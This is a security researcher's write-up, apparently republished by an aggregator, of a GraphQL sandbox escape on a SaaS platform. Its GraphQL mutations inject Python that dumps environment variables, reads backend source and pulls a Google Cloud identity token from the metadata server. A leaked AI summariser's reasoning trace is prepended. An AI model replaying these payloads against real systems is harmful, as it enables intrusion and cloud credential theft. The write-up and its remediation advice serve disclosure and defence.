GraphQL RCE: The Kill Chain to Cloud Identity…!
嗯,用户让我总结这篇文章的内容,控制在100字以内,而且不需要用特定的开头。首先,我需要仔细阅读文章,理解其主要内容。 看起来这篇文章讲的是一个安全漏洞的利用过程。作者描述了如何从一个简单的用户账户开始,逐步利用SaaS平台中的自定义Python函数功能,最终实现对整个云基础设施的控制。 文章分为几个阶段:首先是映射地形,获取必要的资源ID;然后是寻找沙盒中的漏洞,注入恶意Python代码;接着是利用RCE读取源代码;最后是获取云服务账户的JWT令牌,实现身份接管。 总结的时候,我需要涵盖这些关键点:利用自定义函数、RCE、源代码窃取、SSRF以及最终的云身份接管。同时要提到修复建议,比如严格的沙盒设置和网络加固。 现在我要把这些内容浓缩到100字以内,确保信息完整且简洁。可能需要使用一些专业术语,但要保持清晰明了。 </think> 文章描述了一次通过SaaS平台的自定义Python函数功能实现从普通用户到完全控制云基础设施的过程。攻击者利用代码注入和RCE(远程命令执行),窃取源代码、进行SSRF(服务器端请求伪造),并最终获取Google Cloud服务账户的JWT令牌,实现身份接管。文章强调了沙盒配置和网络隔离的重要性,并提供了修复建议。 2026-4-14 14:48:4 Author: infosecwriteups.com(查看原文) 阅读量:13 收藏

Press enter or click to view image in full size

MPGODMATCH

From a simple query to Production “God Mode…!”

Imagine this: You’re logged into a modern SaaS platform…It’s sleek, it’s fast, and it has one killer feature — Custom Python Functions…To a regular user, it’s a productivity tool…To a hunter, it’s a doorway…!

In my previous guide, I showed you how to find the door.…Today, I’m going to show you how I picked the lock, walked through the house, and walked out with the keys to the entire Cloud Infrastructure…!

This is the story of a race from a “Viewer” account to a Full Cloud Identity Compromise…!

The Hook: The Illusion of the Sandbox…!

Modern applications love “User-Defined Logic.” Whether it’s spreadsheet formulas or custom scripts, they all share one thing: they run in a Sandbox…!

Developers build these sandboxes to keep us in a playground…But as hunters, our job is to find the loose board in the fence…!

Mindset: A sandbox is only as strong as its smallest oversight…If the server executes code, it’s not a question of ‘if’ you can escape, but ‘how’…!

Phase 1: Mapping the Terrain…!

Every great heist starts with a map…In GraphQL, that map is Graphql Introception Query and your resource IDs…I needed a valid workspaceId and appId to trigger any logic…A quick enumeration query gave me exactly what I needed…!

The Discovery Query:

query EnumerateResources {
getMyUser {
workspaces {
id # [TARGET_WORKSPACE_UUID]
folders {
apps {
id # [TARGET_APP_UUID]
}
}
}
}
}

With these IDs in my pocket, I was no longer just a visitor…I was a participant…!

Press enter or click to view image in full size

Press enter or click to view image in full size

Phase 2: Finding the Loose Board…!

The application offered a mutation called createUserDefinedFunction…It promised to run Python code…!

The Exploit Injection:
We injected a function named hack_rce_v3 that imports the os module to dump environment variables…!

mutation InjectPythonV3 {
createUserDefinedFunction(input: {
workspaceId: “d6352aa3–9b59–44c9–9beb-cc4d0f260352”,
appId: “195306b2–80ca-4fa6-b420–760becb262ea”,
function: {
name: “hack_rce_v3”,
minArguments: 0,
maxArguments: 0,
arguments: [],
description: “RCE Test V3”,
usageExample: “=hack_rce_v3()”,
function: {
# PAYLOAD: Bypasses sandbox by using __import__ inline
pythonScript: “str(__import__(‘os’).environ)”
}
}
})
}

Press enter or click to view image in full size

Triggering Execution:

mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_v3()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

The Result: The server whispered back…I saw GAE_RUNTIME: python313, internal proxies, and working directories, RCE Confirmed…I was inside the container…!

Phase 3: The Whitebox Pivot…!

RCE is a spark, but source code is a floodlight…I used the subprocess module to read the server's own heart—its backend logic…!

By executing cat /workspace/main.py, I realized the app was importing a module called python_function.function…I followed the trail and found the "Smoking Gun" in the sandbox logic:

Get MPGODMATCH’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Reading main.py:

mutation InjectReadFile {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_read_main",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Exfiltrate Source",
usageExample: "=hack_read_main()",
function: {
pythonScript: "str(__import__('subprocess').check_output(['cat', '/workspace/main.py']))"
}
}
})
}

Press enter or click to view image in full size

mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_main()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

From the response of Main.py:


# The vulnerability in the server's own code:
global_ns = { "xl": xl, "xl_rows": xl_rows }
exec(compile(tree, filename="", mode="exec"), global_ns, global_ns)

The Flaw: They passed global_ns but forgot to set __builtins__: {}. Because of that one missing line, my __import__ payload worked perfectly…!

I also read many other internal files, also did the SSRF, But I have more interesting impact showing POC…!

Phase 4: The “Kill Shot” — Cloud Identity…!

Now, I had a choice…I could stop at RCE…But I looks for the Impact…!

I targeted the Google Cloud Metadata Service (the famous 169.254.169.254)…Most containers are firewalled from the outside world, but they often trust their internal "Metadata" mother-ship…!

I crafted one final payload to exfiltrate the OIDC Identity Token (JWT)…This isn’t just a password; it’s a digital passport that says “I am the Production Server…!”

The Final Mutation:

mutation InjectIDToken {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_get_jwt",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Get OIDC Identity Token",
usageExample: "=hack_get_jwt()",
function: {
# Fetches the signed JWT from the internal metadata server
pythonScript: "str(__import__('subprocess').check_output(['curl', '-s', '-H', 'Metadata-Flavor: Google', 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://google.com&format=full']))"
}
}
})
}

Press enter or click to view image in full size

mutation TriggerIDToken {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_get_jwt()",
trigger: DATA_TABLE
}) {
displayValue
}
}

Press enter or click to view image in full size

The Response: A massive, signed JWT…!

I decoded the token, and there it was: [email protected]…!

I had gone from a simple user to holding the production identity of a Google Cloud Service Account…Game Over…!

The Heart of the Matter: Why This Matters…!

When we talk about “Hacking,” people think of movies…But the reality is much more human…It’s about curiosity…It’s about seeing a “Custom Function” button and wondering, “What happens if I ask for more than I’m supposed to…?”

To the developers: Security is about the details…One missing dictionary key (__builtins__) turned a feature into a total compromise…!

To my fellow hunters: Follow the chain…Don’t stop at the error message…Don’t stop at the environment variables…Push until you find the identity of the machine itself…Sorry for these same kind of motivation you probably see in every post, but YUP I have to maintain the standard of medium…!😉😅

Final Impact:

  • Arbitrary Command Execution (RCE)…!
  • Full Backend Source Code Theft…!
  • SSRF to Internal Cloud Services…!
  • Production Service Account Takeover…!

Remediation for Developers:

  1. Strict Sandboxing: If you use exec(), always use {'__builtins__': {}}…!
  2. Network Hardening: Firewall the Metadata IP (169.254.169.254) from user-code environments…!
  3. Isolation: Run user code in “Zero Trust” micro-VMs (like Firecracker or gVisor)…!

Stay curious…Stay ethical…And keep hunting…!

If you enjoyed this deep dive, share it with your team and follow for more “Kill Chain” stories…Let’s make the web safer, one mutation at a time…!


文章来源: https://infosecwriteups.com/graphql-rce-the-kill-chain-to-cloud-identity-324699602931?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh